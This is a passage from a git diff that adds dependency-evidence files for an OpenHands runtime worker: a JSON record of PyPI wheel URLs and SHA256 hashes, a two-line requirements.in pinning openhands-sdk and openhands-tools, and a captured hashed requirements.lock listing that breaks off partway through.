[] + } +] + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifacts.json b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifacts.json new file mode 100644 index 000000000..61cd2aded --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifacts.json @@ -0,0 +1,100 @@ +[ + { + "name": "oauthlib", + "version": "3.3.1", + "url": "https://files.pythonhosted.org/packages/be/9c/92789c596b8df838baa98fa71844d84283302f7604ed565dafe5a6b5041a/oauthlib-3.3.1-py3-none-any.whl", + "filename": "oauthlib-3.3.1-py3-none-any.whl", + "sha256": "88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", + "metadata_url": "https://pypi.org/pypi/oauthlib/3.3.1/json", + "descriptor_source": "evidence/wheel-relock-20260930-sources.json (historical metadata descriptor)", + "artifact_download": "fresh official artifact; SHA256 verified against descriptor and reconciled lock" + }, + { + "name": "requests-oauthlib", + "version": "2.0.0", + "url": "https://files.pythonhosted.org/packages/3b/5d/63d4ae3b9daea098d5d6f5da83984853c1bbacd5dc826764b249fe119d24/requests_oauthlib-2.0.0-py2.py3-none-any.whl", + "filename": "requests_oauthlib-2.0.0-py2.py3-none-any.whl", + "sha256": "7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36", + "metadata_url": "https://pypi.org/pypi/requests-oauthlib/2.0.0/json", + "descriptor_source": "evidence/wheel-relock-20260930-sources.json (historical metadata descriptor)", + "artifact_download": "fresh official artifact; SHA256 verified against descriptor and reconciled lock" + }, + { + "name": "google-auth-oauthlib", + "version": "1.2.2", + "url": "https://files.pythonhosted.org/packages/ac/84/40ee070be95771acd2f4418981edb834979424565c3eec3cd88b6aa09d24/google_auth_oauthlib-1.2.2-py3-none-any.whl", + "filename": "google_auth_oauthlib-1.2.2-py3-none-any.whl", + "sha256": "fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2", + "metadata_url": "https://pypi.org/pypi/google-auth-oauthlib/1.2.2/json", + "descriptor_source": "evidence/wheel-relock-20260930-sources.json (historical metadata descriptor)", + "artifact_download": "fresh official artifact; SHA256 verified against descriptor and reconciled lock" + }, + { + "name": "func-timeout", + "version": "4.3.5", + "url": "https://files.pythonhosted.org/packages/b3/0d/bf0567477f7281d9a3926c582bfef21bff7498fc0ffd3e9de21811896a0b/func_timeout-4.3.5.tar.gz", + "filename": "func_timeout-4.3.5.tar.gz", + "sha256": "74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd", + "metadata_url": "https://pypi.org/pypi/func-timeout/4.3.5/json", + "descriptor_source": "evidence/wheel-relock-20260930-sources.json (historical metadata descriptor)", + "artifact_download": "fresh official artifact; SHA256 verified against descriptor and reconciled lock" + }, + { + "name": "PyJWT", + "version": "2.14.0", + "url": "https://files.pythonhosted.org/packages/9c/97/672cb32ce0dfea44b740cb7b4f97038463b9cf7c0ead1aacf595572851d6/pyjwt-2.14.0-py3-none-any.whl", + "filename": "pyjwt-2.14.0-py3-none-any.whl", + "sha256": "ad0cef71c756a56e74863c2919cf0985f72decbcfcb550ee2f422e7c62b5eedc", + "metadata_url": "https://pypi.org/pypi/PyJWT/2.14.0/json", + "descriptor_source": "fresh exact-version PyPI metadata", + "artifact_download": "fresh official artifact; SHA256 verified against descriptor and reconciled lock" + }, + { + "name": "click", + "version": "8.5.0", + "url": "https://files.pythonhosted.org/packages/58/50/6c0d534c5f134586a8e1ba4e330569e32f057e33372ae556463212fb4cd3/click-8.5.0-py3-none-any.whl", + "filename": "click-8.5.0-py3-none-any.whl", + "sha256": "255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360", + "metadata_url": "https://pypi.org/pypi/click/8.5.0/json", + "descriptor_source": "fresh exact-version PyPI metadata", + "artifact_download": "fresh official artifact; SHA256 verified against descriptor and reconciled lock" + }, + { + "name": "pypdf", + "version": "6.19.0", + "url": "https://files.pythonhosted.org/packages/3c/2c/c43c03eaf630435f023f1dc61ec4a4a78951ad5530a62c71cc89bde307b7/pypdf-6.19.0-py3-none-any.whl", + "filename": "pypdf-6.19.0-py3-none-any.whl", + "sha256": "7e5d6e730e7dae87d560a2cee218b852f6498c8be61966f3cd02ead971e48d14", + "metadata_url": "https://pypi.org/pypi/pypdf/6.19.0/json", + "descriptor_source": "fresh exact-version PyPI metadata", + "artifact_download": "fresh official artifact; SHA256 verified against descriptor and reconciled lock" + }, + { + "name": "soupsieve", + "version": "2.9.2", + "url": "https://files.pythonhosted.org/packages/eb/dc/ad025c1ee131eba60c69f4dd5779b18fcf1e6b21a343e2162a84d5d133c7/soupsieve-2.9.2-py3-none-any.whl", + "filename": "soupsieve-2.9.2-py3-none-any.whl", + "sha256": "8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823", + "metadata_url": "https://pypi.org/pypi/soupsieve/2.9.2/json", + "descriptor_source": "fresh exact-version PyPI metadata", + "artifact_download": "fresh official artifact; SHA256 verified against descriptor and reconciled lock" + }, + { + "url": "https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl", + "filename": "openhands_sdk-1.50.0-py3-none-any.whl", + "sha256": "441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa", + "name": "openhands-sdk", + "version": "1.50.0", + "descriptor_source": "pins.json (unchanged published wheel pin)", + "artifact_download": "fresh official artifact; SHA256 verified against pin and reconciled lock" + }, + { + "url": "https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl", + "filename": "openhands_tools-1.50.0-py3-none-any.whl", + "sha256": "b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e", + "name": "openhands-tools", + "version": "1.50.0", + "descriptor_source": "pins.json (unchanged published wheel pin)", + "artifact_download": "fresh official artifact; SHA256 verified against pin and reconciled lock" + } +] diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-requirements.in.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-requirements.in.txt new file mode 100644 index 000000000..dd6fde4e3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-requirements.in.txt @@ -0,0 +1,2 @@ +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-reviewed-main-blob.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-reviewed-main-blob.txt new file mode 100644 index 000000000..e9506957b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-reviewed-main-blob.txt @@ -0,0 +1,1138 @@ +$ ["rtk", "proxy", "git", "show", "f03f41c7:blueprints/runtime-workers/openhands/requirements.lock"] +agent-client-protocol==0.12.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiofile==3.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:ce2f6c1571538cbdfa0143b04e16b208ecb0e9cb4148e528af8a640ed51cc8aa \ + --hash=sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b +aiofiles==25.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2 \ + --hash=sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695 +aiohappyeyeballs==2.6.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558 \ + --hash=sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8 +aiohttp==3.14.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 +aiosignal==1.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 +annotated-types==0.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \ + --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89 +anthropic==0.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:e8607422f4ab616db2ea5baacc215dd5f028da99ce2f022e33c7c535b29f3dfb \ + --hash=sha256:ea8317271b6c15d80225a9f3c670152746e88805a7a61e14d4a374577164965b +anyio==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 \ + --hash=sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f +attrs==25.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:427318ce031701fea540783410126f03899a97ffc6f61596ad581ac2e40e3bc3 \ + --hash=sha256:75d7cefc7fb576747b2c81b4442d4d4a1ce0900973527c011d1030fd3bf4af1b +authlib==1.6.12 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0656d8482f28fc8221929d5f35b2bde5d13e10555ebc06b4561b0d622e83b1bd \ + --hash=sha256:e9229ad7fde610b139dd12f5edbe97eab9ee78bfb85691247e767727850b99ab +backoff==2.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba \ + --hash=sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8 +beartype==0.22.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:8f82b54aa723a2848a56008d18875f91c1db02c32ef6a62319a002e3e25a975f \ + --hash=sha256:d16c9bbc61ea14637596c5f6fbff2ee99cbe3573e46a716401734ef50c3060c2 +beautifulsoup4==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2a98ab9f944a11acee9cc848508ec28d9228abfd522ef0fad6a02a72e0ded69e \ + --hash=sha256:5ef6fa3a8cbece8488d66985560f97ed091e22bbc4e9c2338508a9d5de6d4515 +binaryornot==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061 \ + --hash=sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4 +blake3==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:172d44245a19dfec08ab771c1b7a506b97783163cdc65f559fe020007e403c99 \ + --hash=sha256:3cbe7f190164896dc3908e920716ee66bc31d40f1a0fb603ed59ac53290fb9cf \ + --hash=sha256:5fa374fa5070ca084368776c19b420157eb0f2d3f091343d6bc59189929d62e2 \ + --hash=sha256:66c84dbc2a31eda88b55bbf5c5b711037bf0698eba0fd1faf06bdaf313c39048 \ + --hash=sha256:8a99f896e7718050ed033a888245098aab3d6a5338f91cc9450c563b53f90ad5 \ + --hash=sha256:bcd56a7a972c4185070f7042ccc20166927eec3c0f98b8405f375d007b604a0b \ + --hash=sha256:c7f648fa425138452d1e585ac625c7aefddb946d9765906c4c12d564a1523cd8 \ + --hash=sha256:cfaa671b07eb73883162ca940442193868358b0b904cfa266e4b74131ce966da \ + --hash=sha256:f65d77eb05331495485048f6804f53885b192b998acb7e6fe1487d941bf08435 +browser-use==0.11.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:a66accf4dded24d056eb2733e354e159fd7d82cab986d75dc0f14b395467c82c \ + --hash=sha256:c3d8a420acf26d26c688c42916358ba546e7159e1a699c06064b899cb7927577 +browser-use-sdk==2.0.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0832ae0998736e6386457e6cf506e2820db0d626c4d9dbf0f567ea2b6c6888d3 \ + --hash=sha256:5d8ba3836070c67a9774baac556b233e22f266823d3dee34295d98869bec7752 +bubus==1.5.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1a5456f0a576e86613a7bd66e819891b677778320b6e291094e339b0d9df2e0d \ + --hash=sha256:254ae37cd9299941f5e9d6afb11f8e3ce069f83e5b9476f88c6b2e32912f237d +cachetools==7.1.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1221d547a0b24b7f26fa891d40d488b5258beab9aebd8ed68c729be3af849c43 \ + --hash=sha256:a81e3844acaa7355b6567f97bd67a94a14ec3a9bc2cbbdae45b9592cc036775b +caio==0.9.25 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:06c0bb02d6b929119b1cfbe1ca403c768b2013a369e2db46bfa2a5761cf82e40 \ + --hash=sha256:0998210a4d5cd5cb565b32ccfe4e53d67303f868a76f212e002a8554692870e6 \ + --hash=sha256:0ba16aa605ccb174665357fc729cf500679c2d94d5f1458a6f0d5ca48f2060a7 \ + --hash=sha256:16498e7f81d1d0f5a4c0ad3f2540e65fe25691376e0a5bd367f558067113ed10 \ + --hash=sha256:44a6b58e52d488c75cfaa5ecaa404b2b41cc965e6c417e03251e868ecd5b6d77 \ + --hash=sha256:6bebf6f079f1341d19f7386db9b8b1f07e8cc15ae13bfdaff573371ba0575d69 \ + --hash=sha256:97084e4e30dfa598449d874c4d8e0c8d5ea17d2f752ef5e48e150ff9d240cd64 \ + --hash=sha256:9ed3cfb28c0e99fec5e208c934e5c157d0866aa9c32aa4dc5e9b6034af6286b7 +cdp-use==1.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:330a848b517006eb9ad1dc468aa6434d913cf0c6918610760c36c3fdfdba0fab \ + --hash=sha256:e37e80e067db2653d6fdf953d4ff9e5d80d75daa27b7c6d48c0261cccbef73e1 +certifi==2025.8.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407 \ + --hash=sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5 +cffi==2.0.0 ; platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' \ + --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \ + --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \ + --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \ + --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \ + --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \ + --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \ + --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \ + --hash=sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775 \ + --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 +chardet==5.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1b3b6ff479a8c414bc3fa2c0852995695c4a026dcd6d0633b2dd092ca39c1cf7 \ + --hash=sha256:e1cf59446890a00105fe7b7912492ea04b6e6f06d4b742b2c788469e34c82970 +charset-normalizer==3.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1606f4a55c0fd363d754049cdf400175ee96c992b1f8018b993941f221221c5f \ + --hash=sha256:18343b2d246dc6761a249ba1fb13f9ee9a2bcd95decc767319506056ea4ad4dc \ + --hash=sha256:18b97b8404387b96cdbd30ad660f6407799126d26a39ca65729162fd810a99aa \ + --hash=sha256:320e8e66157cc4e247d9ddca8e21f427efc7a04bbd0ac8a9faf56583fa543f9f \ + --hash=sha256:416175faf02e4b0810f1f38bcb54682878a4af94059a1cd63b8747244420801f \ + --hash=sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14 \ + --hash=sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a \ + --hash=sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16 +click==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 \ + --hash=sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34 +cloudpickle==3.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:7fda9eb655c9c230dab534f1983763de5835249750e85fbcef43aaa30a9a2414 \ + --hash=sha256:9acb47f6afd73f60dc1df93bb801b472f05ff42fa6c84167d25cb206be1fbf4a +cryptography==50.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:06a32a980526a6ab9a4b9bf8f7385800791e2bb960903cb6b530e4817509a3b7 \ + --hash=sha256:105110f43a471dbd0060b9c9516cb8a6a79233631a04cc2ba16f28323ac6e025 \ + --hash=sha256:11b74db56cdbe3cdee6e3f6982ecb70334fa10dce99ed58bf7894aaaa3b2a037 \ + --hash=sha256:1b4a266766514614f8aa60416e71f2fc6e575d36e7bdc90f644fadb2f4b75b95 \ + --hash=sha256:37fdb0d0111f1e2ff07139dfb79f1b49531f8e213c46f1163dd7642979b58c47 \ + --hash=sha256:65c2c3add92b45fd0709db8594536aea39c2a67af0e27ffcf049c498501140b7 \ + --hash=sha256:6ba6a53445bd3cfa809ef3ef5f1589aa6ba08784a1d962bf47d0940e871dab1c \ + --hash=sha256:7cec5b856506da6defb290f30c9ee687d5f5e8cb0bd3f6459dde43b0b4fa40ef \ + --hash=sha256:80b63928fa35083b33966ce1efb70e5b9607181e49dcd1c22c8c005e319f667f \ + --hash=sha256:82148ec5bddac30b51a5b3c1945075f896fa022cb93f8e4a01e9f6ee95292c5f \ + --hash=sha256:a91296cb61e8df6f86d0c19cc4068228da256bf59bf86049fbd821084565327f \ + --hash=sha256:b42a28c1844fd9de8f3f7d540e36b66f3a9c83fceac7170ebc7a6a19edd9dcae \ + --hash=sha256:eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9 +cyclopts==4.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0a891cb55bfd79a3cdce024db8987b33316aba11071e5258c21ac12a640ba9f2 \ + --hash=sha256:483c4704b953ea6da742e8de15972f405d2e748d19a848a4d61595e8e5360ee5 +deprecation==2.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:72b3bde64e5d778694b0cf68178aed03d15e15477116add3fb773e581f9518ff \ + --hash=sha256:a10811591210e1fb0e768a8c25517cabeabcba6f0bf96564f8ff45189f90b14a +distro==1.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2fa77c6fd8940f116ee1d6b94a2f90b13b5ea8d019b98bc8bafdcabcdd9bdbed \ + --hash=sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2 +dnspython==2.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af \ + --hash=sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f +docstring-parser==0.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:583de4a309722b3315439bb31d64ba3eebada841f2e2cee23b99df001434c912 \ + --hash=sha256:cf2569abd23dce8099b300f9b4fa8191e9582dda731fd533daf54c4551658708 +docutils==0.22.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:9fdb771707c8784c8f2728b67cb2c691305933d68137ef95a75db5f4dfbc213d \ + --hash=sha256:b0e98d679283fc3bb0ead8a5da7f501baa632654e7056e9c5846842213d674d8 +email-validator==2.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:80f13f623413e6b197ae73bb10bf4eb0908faf509ad8362c5edeb0be7fd450b4 \ + --hash=sha256:9fc05c37f2f6cf439ff414f8fc46d917929974a82244c20eb10231ba60c54426 +exceptiongroup==1.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:4d111e6e0c13d0644cad6ddaa7ed0261a0b36971f6d23e7ec9b4b9097da78a10 \ + --hash=sha256:b241f5885f560bc56a59ee63ca4c6a8bfa46ae4ad651af316d4e81817bb9fd88 +fakeredis==2.34.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0107ec99d48913e7eec2a5e3e2403d1bd5f8aa6489d1a634571b975289c48f12 \ + --hash=sha256:4ff55606982972eecce3ab410e03d746c11fe5deda6381d913641fbd8865ea9b +fastmcp==3.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:d4830b8ffc3592d3d9c76dc0f398904cf41f04910e41a0de38cc1004e0903bef \ + --hash=sha256:e71aba3df16f86f546a4a9e513261d3233bcc92bef0dfa647bac3fa33623f681 +fastuuid==0.14.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1383fff584fa249b16329a059c68ad45d030d5a4b70fb7c73a08d98fd53bcdab \ + --hash=sha256:178947fc2f995b38497a74172adee64fdeb8b7ec18f2a5934d037641ba265d26 \ + --hash=sha256:33e678459cf4addaedd9936bbb038e35b3f6b2061330fd8f2f6a1d80414c0f87 \ + --hash=sha256:3acdf655684cc09e60fb7e4cf524e8f42ea760031945aa8086c7eae2eeeabeb8 \ + --hash=sha256:808527f2407f58a76c916d6aa15d58692a4a019fdf8d4c32ac7ff303b7d7af09 \ + --hash=sha256:a8a0dfea3972200f72d4c7df02c8ac70bad1bb4c58d7e0ec1e6f341679073a7f \ + --hash=sha256:ec27778c6ca3393ef662e2762dba8af13f4ec1aaa32d08d77f71f2a70ae9feb8 +filelock==3.20.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1 \ + --hash=sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1 +frozenlist==1.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7 \ + --hash=sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d \ + --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ + --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 +fsspec==2025.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:19fd429483d25d28b65ec68f9f4adc16c17ea2c7c7bf54ec61360d478fb19c19 \ + --hash=sha256:530dc2a2af60a414a832059574df4a6e10cce927f6f4a78209390fe38955cfb7 +func-timeout==4.3.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd +google-api-core==2.26.0 ; python_full_version < '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2b204bd0da2c81f918e3582c48458e24c11771f987f6258e6e227212af78f3ed \ + --hash=sha256:e6e6d78bd6cf757f4aee41dcc85b07f485fbb069d5daa3afb126defba1e91a62 +google-api-core==2.31.0 ; python_full_version >= '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2be84ee0f584c48e6bde1b36766e23348b361fb7e55e56135fc76ce1c397f9c2 \ + --hash=sha256:ef79fb3784c71cbac89cbd03301ba0c8fb8ad2aa95d7f9204dd9628f7adf59ab +google-api-python-client==2.184.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:15a18d02f42de99416921c77be235d12ead474e474a1abc348b01a2b92633fa4 \ + --hash=sha256:ef2a3330ad058cdfc8a558d199c051c3356f6ed012436c3ad3d08b67891b039f +google-auth==2.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83ff642b68 \ + --hash=sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c +google-auth-httplib2==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:38aa7badf48f974f1eb9861794e9c0cb2a0511a4ec0679b1f886d108f5640e05 \ + --hash=sha256:b65a0a2123300dd71281a7bf6e64d65a0759287df52729bdd1ae2e47dc311a3d +google-auth-oauthlib==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:11046fb8d3348b296302dd939ace8af0a724042e8029c1b872d87fabc9f41684 \ + --hash=sha256:fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2 +google-genai==1.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:56bac3991b311c93f980c0a2abcd287b672146905df1fbd71c92ed633d5a07cf \ + --hash=sha256:8dc4c096e7d6288c3087f6893f582fe52468932464781edb8193bd92b9fefb2c +googleapis-common-protos==1.70.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257 \ + --hash=sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8 +groq==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0ed0be290042f8826f851f3a1defaac4f979dcfce86ec4a0681a23af00ec800b \ + --hash=sha256:fb1ade61f47a06d1a1c1dc0fab690d269b799ebd57ad1dd867efaeaa7adeb2af +grpcio==1.76.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc \ + --hash=sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba \ + --hash=sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882 \ + --hash=sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae \ + 